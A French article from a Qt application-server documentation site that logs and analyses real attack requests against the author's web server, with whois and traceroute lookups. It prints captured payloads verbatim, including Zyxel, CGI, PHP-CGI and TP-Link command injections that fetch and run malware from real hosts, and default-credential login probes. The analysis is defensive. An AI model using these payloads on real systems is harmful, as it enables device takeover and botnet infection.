Portail / Sujets autour de la programmation / Programmation C/C++ sous Linux / Serveur d'application avec Qt 6 / Concepts généraux(Sommaire)

Cas concrets d'attaques.

Mise à jour du 10/11/2024.

Cet article expose des cas concrets d'attaques repérées via le mécanisme d'enregistrement des échanges.

10/08/2024 - 51.250.22.114

[51.250.22.114:59132];[...];000001913d634f3e;2024-08-10T19:43:24;POST;http://www.jmpdom.ovh/cgi-bin/ViewLog.asp;;406;

Requête

Accept=*/*
Accept-Encoding=gzip, deflate
Connection=keep-alive
Content-Length=176
Content-Type=application/x-www-form-urlencoded
Host=127.0.0.1
User-Agent=r00ts3c-owned-you

 remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://176.123.168.160/arm7;chmod+777+arm7;./arm7+zyxel.selfrep;rm+-rf+

Analyse

La requête semble vouloir viser un serveur IIS via une page ASPX donnant des informations d'historisation. Le contenu des données de la méthode POST montre qu'en fait, c'est un pare-feu Zyxel tournant sur une architecture ARMv7 sous une appliance Linux qui est visé à l'issue d'une tentative de téléchargement (wget).

L'analyse par l'outil whois de l'adresse de l'hôte distant montre clairement l'origine de l'attaque :

whois 51.250.22.114
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See https://apps.db.ripe.net/docs/HTML-Terms-And-Conditions

% Note: this output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '51.250.0.0 - 51.250.127.255'

% Abuse contact for '51.250.0.0 - 51.250.127.255' is 'cloud-abuse@yandex-team.ru'

inetnum:        51.250.0.0 - 51.250.127.255
netname:        RU-YANDEXCLOUD
country:        RU
org:            ORG-YL62-RIPE
admin-c:        YCNO1-RIPE
tech-c:         YCNO1-RIPE
status:         LEGACY
mnt-by:         RIPE-NCC-LEGACY-MNT
mnt-by:         mnt-ru-yandexcloud-1
created:        2021-09-09T15:12:53Z
last-modified:  2021-09-27T10:17:40Z
source:         RIPE

organisation:   ORG-YL62-RIPE
org-name:       Yandex.Cloud LLC
country:        RU
org-type:       LIR
address:        16 Lva Tolstovo str
address:        119021
address:        Moscow
address:        RUSSIAN FEDERATION
phone:          +74957397000
admin-c:        YCNO1-RIPE
tech-c:         YCNO1-RIPE
abuse-c:        AR48776-RIPE
mnt-ref:        mnt-ru-yandexcloud-1
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         mnt-ru-yandexcloud-1
created:        2018-10-17T08:12:43Z
last-modified:  2020-12-16T12:18:28Z
source:         RIPE # Filtered

role:           Yandex Cloud Network Operations
address:        Yandex Cloud
address:        16 Lva Tolstogo st.
address:        119021
address:        Moscow
address:        Russian Federation
phone:          +7 495 739 7000
fax-no:         +7 495 739 7070
remarks:        trouble: ------------------------------------------------------
remarks:        trouble: Points of contact for Yandex Cloud Network Operations
remarks:        trouble: ------------------------------------------------------
remarks:        trouble: Routing and peering issues: cloud-noc@yandex.net
remarks:        trouble: SPAM issues: cloud-abuse@yandex-team.ru
remarks:        trouble: Network security issues: cloud-abuse@yandex-team.ru
remarks:        trouble: ------------------------------------------------------
admin-c:        AG25016-RIPE
admin-c:        KP4895-RIPE
admin-c:        VK5347-RIPE
admin-c:        MS53754-RIPE
tech-c:         AG25016-RIPE
tech-c:         KP4895-RIPE
tech-c:         VK5347-RIPE
tech-c:         MS53754-RIPE
mnt-by:         mnt-ru-yandexcloud-1
created:        2019-07-29T16:50:06Z
last-modified:  2022-03-22T10:54:34Z
source:         RIPE # Filtered
nic-hdl:        YCNO1-RIPE
abuse-mailbox:  cloud-abuse@yandex-team.ru

% Information related to '51.250.0.0/17AS200350'

route:          51.250.0.0/17
origin:         AS200350
mnt-by:         mnt-ru-yandexcloud-1
mnt-by:         ru-yacloud-1-mnt
created:        2021-09-27T15:58:42Z
last-modified:  2021-09-27T15:58:42Z
source:         RIPE

% This query was served by the RIPE Database Query Service version 1.113.2 (ABERDEEN)

Il s'agit très probablement d'un proxy russe. Les données HTTP de la requête permettent même de préciser une origine (mais pas nécessairement celle de l'attaquant) :

whois 176.123.168.160
% This is the RIPE Database query service.
% The objects are in RPSL format.
%
% The RIPE Database is subject to Terms and Conditions.
% See https://apps.db.ripe.net/docs/HTML-Terms-And-Conditions

% Note: this output has been filtered.
%       To receive output for a database update, use the "-B" flag.

% Information related to '176.123.168.0 - 176.123.175.255'

% Abuse contact for '176.123.168.0 - 176.123.175.255' is 'abuse@aoiot.ru'

inetnum:        176.123.168.0 - 176.123.175.255
netname:        RU-JSCIOT
country:        RU
org:            ORG-JI50-RIPE
admin-c:        SAB248-RIPE
tech-c:         PS24704-RIPE
status:         ASSIGNED PI
mnt-by:         mnt-ru-jsciot-1
mnt-by:         RIPE-NCC-END-MNT
created:        2023-02-21T08:48:30Z
last-modified:  2023-02-21T08:48:30Z
source:         RIPE

organisation:   ORG-JI50-RIPE
org-name:       JSC IOT
country:        RU
org-type:       LIR
address:        ter. Skolkovo Innovation Center, Bolshoy Blvd, d. 42 pp 1 fl
address:        121205
address:        Moscow
address:        RUSSIAN FEDERATION
phone:          +7 (495) 133-04-86
tech-c:         PS24704-RIPE
admin-c:        SAB248-RIPE
abuse-c:        INO22-RIPE
mnt-ref:        mnt-ru-jsciot-1
mnt-by:         RIPE-NCC-HM-MNT
mnt-by:         mnt-ru-jsciot-1
created:        2018-10-03T08:17:05Z
last-modified:  2022-05-19T10:28:24Z
source:         RIPE # Filtered

person:         Pinigin Sergey
address:        121205, Russia, Moscow
address:        ter. Skolkovo Innovation Center, Bolshoy Blvd, d. 42 pp 1 fl
phone:          +7 (495) 133-04-86
nic-hdl:        PS24704-RIPE
mnt-by:         mnt-ru-jsciot-1
created:        2022-04-07T02:26:12Z
last-modified:  2022-04-07T02:26:12Z
source:         RIPE

person:         Evgenij Bykov
address:        121205, Russia, Moscow
address:        ter. Skolkovo Innovation Center, Bolshoy Blvd, d. 42 pp 1 fl
phone:          +7 (495) 133-04-86
nic-hdl:        SAB248-RIPE
mnt-by:         mnt-ru-jsciot-1
created:        2018-10-03T08:17:04Z
last-modified:  2024-01-29T09:29:43Z
source:         RIPE

% Information related to '176.123.168.0/23AS29182'

route:          176.123.168.0/23
origin:         AS29182
mnt-by:         mnt-ru-jsciot-1
created:        2023-03-03T07:57:33Z
last-modified:  2023-03-03T07:57:33Z
source:         RIPE

% This query was served by the RIPE Database Query Service version 1.113.2 (ABERDEEN

La commande

traceroute -I --max-hops=60 176.123.168.160
précise le nom de domaine de l'adresse IP interne aux données de la requête :

...
 3  station1.multimania.isdnet.net (194.149.174.98)  8.871 ms  8.907 ms  9.094 ms
 4  cjscrascom.par.franceix.net (37.49.237.141)  17.986 ms  17.981 ms  17.975 ms
 5  msk-m9-cr5.ae667-3004.rascom.as20764.net (80.64.97.58)  53.730 ms  53.725 ms  53.718 ms
 6  tspu-6364.no-hope.msk-m9-cr5.rascom.as20764.net (80.64.97.59)  64.409 ms  62.694 ms  62.636 ms
 7  SNA.spb-imq-cr1.rascom.as20764.net (80.64.102.6)  53.722 ms  53.527 ms  54.116 ms
 8  SNA.spb-imq-cr1.rascom.as20764.net (80.64.102.7)  53.961 ms  53.917 ms  53.882 ms
 9  * * *
10  * * *
11  bober.ru (176.123.168.160)  58.422 ms  58.515 ms  58.981 ms

Une analyse plus poussé de l'hôte indique l'ouverture des ports 22 (serveur SSH v8.7), 80 (serveur Apache 2.5.57) et 3306 (serveur de bases de données MariaDb). Les méthodes HTTP supportées sont GET, POST, HEAD, OPTIONS et TRACE. Le système d'exploitation est CentOS.

27/08/2024 - 47.236.11.101

[47.236.11.101:40416];[...];0000019191d5730d;2024-08-27T05:16:10;POST;http://?.?.?.?:80/cgi-bin/../../../../../../../../../../bin/sh;;406;1

Requête

Accept=*/*
Connection=keep-alive
Content-Length=101
Content-Type=text/plain
Host=X.Y.Z.T:80
Upgrade-Insecure-Requests=1
User-Agent=Custom-AsyncHttpClient

X=$(curl http://91.194.55.94/sh || wget http://91.194.55.94/sh -O-); echo "$X" | sh -s apache.selfrep

Analyse

Ce qui est intéressant ici est le fait que l'attaque du serveur se fait aussi via une méthode POST. L'URL en elle-même sert juste à activer la commutation vers le flux CGI du serveur. Toutefois, si on analyse le corps HTTP soumis avec la requête, on y trouve le véritable intérêt de cette dernière. Il s'agit de charger un script shell en vue de prendre la main sur un serveur Apache. Ce type d'attaque est très fréquent.

La commande whois 91.194.55.94 renvoi vers la société TECHNOX via une adresse IP turque. La commande traceroute 91.194.55.94 permet d'en identifier le founisseur via son domaine meric.net.tr qui est un fournisseur et greffier turc. Le script, s'il arrive à s'exécuter, analyse les dossiers et l'architecture du système supportant le serveur puis charge un exécutable en fonction des résultats trouvés, exécutable sauvegardé sous .redtail.

Il est à noter que ce type d'attaque est très répandues actuellement. Il est assez aisé de vérifier son activité via la recherche du fichier .redtail.

Il existe une variante à cette attaque via une méthode GET où l'on trouve les commande du corps HTTP codées en base64 avec un décodage effectué par un script PHP :

<?php shell_exec(base64_decode("WD0kKGN1cmwgaHR0cDovLzkxLjE5NC41NS45NC9zaCB8fCB3Z2V0IGh0dHA6Ly85MS4xOTQuNTUuOTQvc2ggLU8tKTsgZWNobyAiJFgiIHwgc2ggLXMgY3ZlXzIwMjRfNDU3Ny5zZWxmcmVw")); echo(md5("Hello CVE-2024-4577")); ?>

Si on décode le code base64 on obtient sans surprise :

X=$(curl http://91.194.55.94/sh || wget http://91.194.55.94/sh -O-); echo "$X" | sh -s cve_2024_4577.selfrep

Là encore cette variante est très répandue. Ces deux premiers exemples montrent que les vulnérabilités les plus attendues touchent au mécanisme CGI qui permet l'exécution automatique de scripts et à l'interpréteur PHP qui permet lui aussi d'exécuter des scripts de manière automatique. Pour ces raisons, ces deux mécanismes ne sont pas pris en charge par le serveur PAS.

27/08/2024 - 47.236.11.101

http:///www.jmpdom.ovh/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Requête

Accept=*/*
Connection=keep-alive
Content-Length=33
Content-Type=text/plain
Host=?.?.?.?:80
Upgrade-Insecure-Requests=1
User-Agent=Custom-AsyncHttpClient

<?php echo(md5("Hello PHPUnit"));

Analyse

Les premières versions de l'interpréteur PHP permettaient d'obtenir un certain nombre de précieux renseignements sur la configuration du site. Des leçons ont été tirées des failles introduites par ce mécanisme et il est difficle aujourd'hui d'obtenir des renseignements par ce moyen. Pour savoir si le mécansisme PHP est actif, on injecte dans le corps de la requête HTTP le code <?php echo(md5("Hello PHPUnit"));. Si au retour le code de hachage MD5 de la phase Hello PHPUnit est retrouvé alors le serveur distant dispose d'un interpréteur PHP.

On ne peut pas vraiment appeler cette procédure une "attaque" dans la mesure où elle est non intrusive et purement informative. Cependant elle donne le moyen à un attaquant de cibler les requêtes suivantes vers le moteur PHP avec sans doute un objectif moins neutre.

Ce type d'appel est extrêmement répandu et confirme le risque lié à l'utilisation de PHP.

21/09/2024 21:06:53 - 18.219.241.228

https://www.jmpdom.ovh/ [POST]

Requête

Accept=*/*
Accept-Encoding=gzip, deflate
Connection=keep-alive
Content-Length=20
Content-Type=application/x-www-form-urlencoded
Host=?.?.?.?
User-Agent=Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
---------- CORPS HTTP ----------
0x%5B%5D=androxgh0st

02/09/2024 06:18:56 - 134.209.243.222

https://www.jmpdom.ovh/sdk [POST]

Requête

Connection=close
Content-Length=441
Host=?.?.?.?
User-Agent=Mozilla/5.0 (compatible; Odin; https://docs.getodin.com/)
---------- CORPS HTTP ----------
<soap:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
    <soap:Header>
        <operationID>00000001-00000001</operationID>
    </soap:Header><soap:Body>
        <RetrieveServiceContent xmlns="urn:internalvim25">
            <_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this>
        </RetrieveServiceContent>
    </soap:Body>
</soap:Envelope>

02/09/2024 06:18:57 - 209.38.206.157

https://www.jmpdom.ovh/ [POST]

Requête

<?xml version="1.0" encoding="UTF-8"?>
<config-auth client="vpn" type="init" aggregate-auth-version="2">
    <version who="vpn">3.1.05160</version>
    <device-id device-type="iPhone13,1" platform-version="15.0.1" unique-id="ABCDEF1234567890">iOS</device-id>
    <mac-address-list>
        <mac-address>01:23:45:67:89:AB</mac-address>
    </mac-address-list>
    <group-select>VPN</group-select>
    <group-access>https://?.?.?.?:443</group-access>
</config-auth>

04/09/08/2024 - 185.91.127.9

http://www.jmpdom.ovh:80/boaform/admin/formLogin [POST]

Requête

Accept=text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding=gzip, deflate
Accept-Language=en-GB,en;q=0.5
Connection=keep-alive
Content-Length=29
Content-Type=application/x-www-form-urlencoded
Host=?.?.?.?:80
Origin=http://?.?.?.?:80
Referer=http://?.?.?.?:80/admin/login.asp
Upgrade-Insecure-Requests=1
User-Agent=Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0
---------- CORPS HTTP ----------
username=admin&psd=Feefifofum

05/09/2024 06:18:56 - 117.72.67.243

http://?.?.?.?:0/cgi-bin/ViewLog.asp [POST]

Requête

Accept=*/*
Accept-Encoding=gzip, deflate
Connection=keep-alive
Content-Length=176
Content-Type=application/x-www-form-urlencoded
Host=127.0.0.1
User-Agent=r00ts3c-owned-you
---------- CORPS HTTP ----------
 remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://5.59.248.92/Yboats.arm7;chmod+777+Yboats.arm7;./Yboats.arm7+zyxe

05/09/2024 22:58:53 - 185.224.128.62

http://?.?.?.?:80/login.html [POST]

Requête

Accept-Encoding=gzip
Content-Length=44
Content-Type=application/x-www-form-urlencoded
Host=?.?.?.?:80
User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
---------- CORPS HTTP ----------
uri=&username=ubnt&password=ubnt&login=Login

06/09/2024 02:42:03 - 37.114.63.58

http://?.?.?.?:80/php-cgi/php-cgi.exe?%ADd+cgi.force_redirect%3D0+%ADd+disable_functions%3D%22%22+%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input

Requête

Content-Length=124
Content-Type=application/x-www-form-urlencoded
Host=www.jmpdom.ovh:80
---------- CORPS HTTP ----------
<?php echo eval(base64_decode('ZWNobyAnW01dJzsgc3lzdGVtKCdwaW5nIC1sIDYwIC1uIDYgMTkzLjMyLjE2Mi4zNCcpOyBlY2hvICdbUF0nOw')); ?>

Décodage : echo '[M]'; system('ping -l 60 -n 6 193.32.162.34'); echo '[P]';

09/09/2024 19:45:11 - 141.98.11.48

http://www.jmpdom.ovh/cgi-bin/hotspotlogin.cgi [POST]

Requête

Accept-Encoding=gzip
Content-Length=130
Host=?.?.?.?:80
User-Agent=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36
---------- CORPS HTTP ----------
send=1&uamip="; cd /tmp;rm -rf mips;wget http://91.92.243.233/fquoqU/jhwwps;chmod 777 jhwwps;./jhwwps tplink.mips;rm -rf jhwwps #"

15/11/2024 07:14:26Z - 209.38.209.74

https://www.jmpdom.ovh:443/doc/jm/index.html

Requête (POST)

Content-Length=474
Content-Type=application/xml
Host=82.65.130.138:443
Referer=https://82.65.130.138:443/
User-Agent=Go-http-client/1.1
X-Aggregate-Auth=1
---------- CORPS HTTP ----------
<?xml version="1.0" encoding="UTF-8"?>
                <config-auth client="vpn" type="init" aggregate-auth-version="2">
				<version who="vpn">3.1.05160</version>
				<device-id device-type="iPhone13,1" platform-version="15.0.1" unique-id="ABCDEF1234567890">iOS</device-id>
				<mac-address-list>
                    <mac-address>01:23:45:67:89:AB</mac-address>
                </mac-address-list>
				<group-select>VPN</group-select>
				<group-access>https://www.jmpdom.ovh:443</group-access>
				</config-auth

Conclusion

Nous ne nous interressons ici qu'aux attaques des serveurs Web. Des analyses effectuées on en déduit que les plates-formes les plus attaquées sont :

  1. PHP (de loin les plus nombreuses mais avec peu de modes d'action différents) ;
  2. CGI (attaques souvent de type "injection de scripts systèmes" via une méthode POST) ;
  3. GIT (attaques tentant d'identifier un dépôt GIT).
  4. SOAP (attaques avec injection de requêtes SOAP via une méthode POST) ;
  5. ASP (souvent avec URL de type login.asp).

Il est surprenant de constater le faible nombre d'attaques vers un serveur Tomcat (URL de type /manager ou /manager/html).

On constate aussi l'attaque systématique de systèmes d'information ciblés comme par exemple /actuator/health.

Enfin, les pays d'origine des attaques sont les USA (de loin les plus importantes), la Chine (y compris Hong-Kong), Singapour, la Russie mais aussi l'Iran. Depuis le continent européen citons les Pays-Bas (les plus nombreuses), la Grande-Bretagne, la Turquie, l'allemagne et l'italie.

Ce n'est pas un hasard de constater qu'en Europe, ce sont les pays aux lois numériques les plus permissives (ou aux conséquences les moins risquées) qui accueillent les serveurs proxy d'où proviennent la plupart des attaques.

Toute organisation qui décide de mettre en ligne un serveur à quelques fins que ce soit doit être consciente que moins de 15 minutes après la mise en ligne d'un serveur des robots commenceront à tenter de l'analyser. En conséquence, toute mise en ligne d'un serveur doit s'accompganer de mécanismes de protection adaptés aux risques encourus en cas de prise de contrôle ou d'arrêt brutal.

C'est pour cette raison que nous avons développé le serveur d'application PAS. Ce dernier ne s'appuie sur aucune des plates-formes à risque citées supra. De plus, ce serveur dispose de son propre mécanisme de protection (personnalisable) ainsi que de la capacité à assurer une suivi fin des échanges à des fins soit d'analyses ultérieures, soit de réaction immédiate.

Rédaction par Jean-Marie Piatte (1983-2021)